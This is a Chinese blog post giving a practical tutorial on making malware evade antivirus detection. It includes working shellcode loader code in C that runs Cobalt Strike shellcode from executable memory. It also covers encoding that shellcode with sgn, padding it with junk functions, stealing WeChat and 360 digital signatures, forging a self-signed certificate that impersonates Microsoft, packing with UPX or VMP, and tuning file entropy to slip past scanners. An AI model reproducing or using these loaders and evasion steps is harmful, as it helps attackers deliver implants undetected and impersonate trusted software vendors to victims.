首页 > 其他分享 >免杀中编译器和exe的处理

免杀中编译器和exe的处理

时间:2024-11-17 14:14:41浏览次数:3  
标签:exe 免杀 exec 数字签名 编译器 include shellcode Microsoft

MT/MD对比编译

当样本做好了, shellcode处理了, 加载器的代码也做了优化, 但是被杀软一扫描还是静态报毒, 很有可能是因为exe相关的操作需要进行处理, 第一个就是 编译器/编译参数 因为有些杀软宁可错杀1000也不过一个, 所以针对一些特定的编译器/编译参数, 即使你是输出 hello world, 也是会报毒的, 或者你当前程序没有数字签名就报毒, 以及没有详细的版本信息就报毒 那么我们可以通过控制变量法对比查杀效果, 进而总结出来杀软的查杀态度。

#include <iostream>
int main()
{
std::cout << "Hello World!\n";
}

怎么办呢? 属性里面设置一下这个东西

这就不查杀了

1.MT选项:链接lib版的C++运行库集成到程序中,不需要dll,因此程序会变大

2.MD选项:使用DLL版的C++运行库,这样程序体积较小,缺点电脑上没有对应DLL时无法运行

md是需要自己电脑上的dll 比如我们和 被攻击机 操作系统一样我们就用MD

试验一下加载器的书写

先用cs生成一个raw的shellcode 拿去sgn内存加密一下

sgn.exe -a 64 -c 4 -o spd1.bin pd1.bin【64位 加密4次 输出spd1.bin】

然后用sctool 来查看加密后的shellcode

#include <windows.h>
#include <iostream>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma data_seg("vdata")
unsigned char sc[] = { 0xeb,0x00,0xe8,0x97,0x05,.... }; // sgn加密的shellcode
#pragma data_seg()
#pragma comment(linker,"/SECTION:vdata,RWE")
int main() {
	((void(*)()) & sc)();
	std::cout << "";
}

这个加载器 是直接修改内存段属性可执行 先用mt生成一下

被查杀

再换MD模式编译 注:再次生成我们不要让代码一样可以添加一些无用的函数

std::cout << "添加的无用函数1";

std::cout << "添加的无用函数2";

std::cout << "添加的无用函数3";

应该时间关系也被查杀了

反正目的就是针对360来说 使用md

编译器

1.visual studio 命令行编译

cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tcimplant.cpp /link /OUT:implant.exe

/SUBSYSTEM:CONSOLE /MACHINE:x64

参数解释

/MT 表示使用多线程静态链接运行时库(Release 模式通常会选择这个选项)。

/Ox 表示启用优化。

/W0 表示关闭所有警告。

/GS- 表示关闭缓冲区安全检查。

/DNDEBUG 表示定义 NDEBUG 宏,禁用调试信息和代码。

/Tcimplant.cpp 表示指定源文件为 implant.cpp。

/link 后面的选项用于指定链接器的设置。

/OUT:implant.exe 表示输出文件为 implant.exe。

/SUBSYSTEM:CONSOLE 表示应用程序是一个控制台应用程序。

/MACHINE:x64 表示生成 64 位的可执行文件。

MinGW(GCC)

这是一个复制内存创建线程的加载器

#include <windows.h>
//#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void main() {
 unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0";
 LPVOID exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, 
PAGE_EXECUTE_READWRITE);
 memcpy(exec, buf, sizeof(buf));
 HANDLE hThread = CreateThread(
0,
 0,
 (LPTHREAD_START_ROUTINE)exec,
 0,
 0,
 0);
 WaitForSingleObject(hThread, -1);
 CloseHandle(hThread);
}
// 添加无意义的代码
#include <stdio.h>
char myCharacter = ' ';
printf("%c\n", myCharacter);

gcc test.c -mwindows -o test.exe

目前可惜的是加了一些混淆函数后也不能免杀

#include <windows.h>
#include <stdio.h>

// 无意义的函数1:执行一些无用的数学运算
void dummyFunction1() {
    int a = 42, b = 7, c = 0;
    for (int i = 0; i < 10; i++) {
        c += (a * b - i) % 5;
    }
}

// 无意义的函数2:打印无用信息
void dummyFunction2() {
    printf("This is a placeholder function. It does nothing meaningful.\n");
}

// 核心功能的封装函数
void executeShellcode() {
    // Shellcode 字节数组
    static unsigned char shellcode[] = {};
    // 分配可执行内存
    LPVOID exec = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!exec) {
        printf("Failed to allocate memory.\n");
        return;
    }

    // 将 shellcode 拷贝到分配的内存中
    memcpy(exec, shellcode, sizeof(shellcode));

    // 创建线程执行 shellcode
    HANDLE hThread = CreateThread(
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)exec,
        NULL,
        0,
        NULL
    );

    if (!hThread) {
        printf("Failed to create thread.\n");
        VirtualFree(exec, 0, MEM_RELEASE);
        return;
    }

    // 等待线程执行完成
    WaitForSingleObject(hThread, INFINITE);

    // 释放资源
    CloseHandle(hThread);
    VirtualFree(exec, 0, MEM_RELEASE);
}

// 主函数
int main() {
    // 调用无意义的函数
    dummyFunction1();
    dummyFunction2();

    // 调用核心功能
    executeShellcode();

    // 再次调用无意义的函数
    dummyFunction1();

    return 0;
}

intel c++编译器

这个编译器还不错 是集成在visual里面的

数字签名/加资源

添加数字签名

python3 sigthief.py -i 签名文件 -t 样本.exe -o 输出.exe

python3 sigthief.py -i sign_exe\360.exe -t output.exe -o output_s.exe

这个方法可以把其他exe的数字签名弄下来 加在我们自己的exe上

但是这样生成的数字签名是无效的

自建数字签名

第一次创建签名文件,中间需要输入密码 (在自签名工具里面运行)

makecert -r -pe -n "CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" -ss CA -sr CurrentUser -a sha256 -cy authority -sky signature -sv Microsoft.pvk Microsoft.cer

certutil -user -addstore Root Microsoft.cer

makecert -pe -n "CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US" -a sha256 -cy end -sky signature -ic Microsoft.cer -iv Microsoft.pvk -sv Microsoft.pvk Microsoft.cer

pvk2pfx -pvk Microsoft.pvk -spc Microsoft.cer -pfx Microsoft.pfx

通过自签名文件添加到exe

signtool sign /f Microsoft.pfx /t http://timestamp.digicert.com /fd SHA256 要签名的.exe

我们直接偷一个wechat的数字签名和资源

可以看到数字签名已经加好了

然后用resource hacker把信息导入

可以看到和微信一样

加壳

upx

upx是一款压缩壳, 针对exe文件进行代码压缩, 压缩后的文件体积会小于原始文件

UPX 提供了不同的压缩级别,级别越高,压缩率越大,但压缩和解压缩的速度可能会减慢。压缩级别范围是从 1 到 9。数字越高,表示压缩级别越高,对文件大小的减小也越明显

upx -9 main.exe 【加壳exe】

Shielden

Safengine Shielden 软件保护加壳工具是一款能够帮助用户对自己电脑上各种文件程序进行加壳免杀的Windows操作平台功能性保护工具,它可以帮助用户对自己需要进行保护的文件程序进行加壳处理拥有强大的虚拟机代码保护系统,能够让你的文件程序无需担心被逆向工程破解入侵,拥有专业级的加密操作,保护你的文件不被恶意修改。

VMP

文件的熵值

Entropy(熵)能被用于衡量系统的混乱程度,熵值越大,说明混乱程度越高

熵也被用于检测PE文件病毒, 一般一些合法软件的熵值在 4.8 - 7.2 之间

有阶段 样本

无阶段 样本

所以我们制作好样本(加壳), 一定要检查文件的熵值, 经量保存在 4.8 - 7.2 之间

标签:exe,免杀,exec,数字签名,编译器,include,shellcode,Microsoft
From: https://blog.csdn.net/qq_60870726/article/details/143831792

相关文章

  • 在 tsconfig.json 文件中,compilerOptions.types 字段用于指定 TypeScript 编译器应该
    在tsconfig.json文件中,compilerOptions.types字段用于指定TypeScript编译器应该包含的类型声明文件。这些类型声明文件提供了类型信息,使得TypeScript能够在编译时进行类型检查和提供智能提示。你提到的配置项指定了几个常用的类型声明文件,下面是对这些配置项的详细解释:配......
  • 一文掌握:java编译器:跑通helloworld并了解核心原理
    本文旨在详细介绍Java编译器的工作原理及其在Windows系统下的具体使用方法,包括安装步骤、常用命令介绍以及大致原理。通过本文,你可以全面掌握从编写代码到生成可执行文件的全过程,为Java开发奠定坚实的基础。Windows下Java环境的搭建与程序编译为了在Windows环境下运行Jav......
  • 调用Exe程序并且出现界面 CreateProc(ProcessName:String)
    FunctionGetProcessHandleAsName(Name:String):THandle;VarHd,Hs:THandle;dExit:Cardinal;Tmp,Tmp1:String;Lp:TProcessEntry32;beginResult:=0;Lp.dwSize:=sizeof(TProcessEntry32);Hd:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);ifProcess32First(Hd,Lp)thenRepea......
  • linux c --- 创建子进程 system() 与 exec() 的区别
    功能差异:system()函数的主要功能是执行一个系统命令,这个命令由用户通过命令行参数传递给system()函数。system()函数会创建一个新的进程来执行这个命令,并等待这个进程执行完毕后才返回。因此,system()函数主要用于执行简单的、可以通过命令行传递参数的系统命令。exec()函数则是......
  • jenkins打包报错Build step 'Execute shell' marked build as failure Finished: FA
    1、jenkins打包报错  处理方式1、在步骤“Executeshell”命令最上面添加(还是报错)#!/bin/bash2、设置全局配置,添加键和值(还是报错)键:LANG值:zh.CH.UTF-83、设置全局配置,添加键和值(还是报错)键:JAVA_TOOL_OPTIONS值:-Dfile.encoding=UTF-84、cat /usr/lib/systemd/sys......
  • cmu15545-索引并发控制(Concurrent Indexes)
    目录OverviewLock和Latch辨析设计目标大致分类HashTableLatchesPageLatchesSlotLatchesB+TreeLatches并发问题LatchCrabbing/CoupingOptimisticCoupling(乐观锁)LeafNodeScanOverviewLock和Latch辨析Lock:抽象的,逻辑的,整体统筹Latch:具体的,原语性的,自我管理本节主要探......
  • 【转】【C#】Windows服务运行exe程序
    在“Windows服务”中,上述代码还是可以运行exe程序的,但是我们看不到。在“控制台应用程序”中,我们可以看到被执行的exe程序,但是到了“Windows服务”中,该exe变成了后台执行,无法与用户进行交互。原因如下:  默认情况下,服务是运行在session0下的,与普通的应用程序不在一个session,所以......
  • 在Active Directory(AD)域控环境下,推送安装软件并实现静默安装,通常有几种方法可以实现。
    在ActiveDirectory(AD)域控环境下,推送安装软件并实现静默安装,通常有几种方法可以实现。根据你的需求,这里介绍几种常见的方式,它们支持EXE、MSI等多种安装包格式,并且可以实现静默安装。1. 组策略(GroupPolicy)部署组策略是AD域环境中部署软件的一种常见方式。它特别适合MSI安装包。......
  • 【QT】解决生成的exe文件出现“无法定位程序入口”或“找不到xxx.dll”的问题
    【QT】解决生成的exe文件出现“无法定位程序入口”或“找不到xxx.dll”的问题零、问题使用QT编译好项目后,想直接在文件资源管理器中运行exe程序或想分享出去给别人使用发现出现如下问题:系统错误:找不到xxx.dll。无法找到入口:无法定位程序输入点xxx。下文将介绍如何解决以......
  • 关系数据库 Query_Execution
    关系数据库QueryExecution的流程在关系型数据库中,一条Query语句执行的流程如下:DBMS将Quey语句翻译成特定的内部抽象语言,通常有两种QueryPlanlogicalPlan:使用关系代数描述QueryPlan,描述关系操作符或者非关系操作符physical:描述这些操作符的实际动作Que......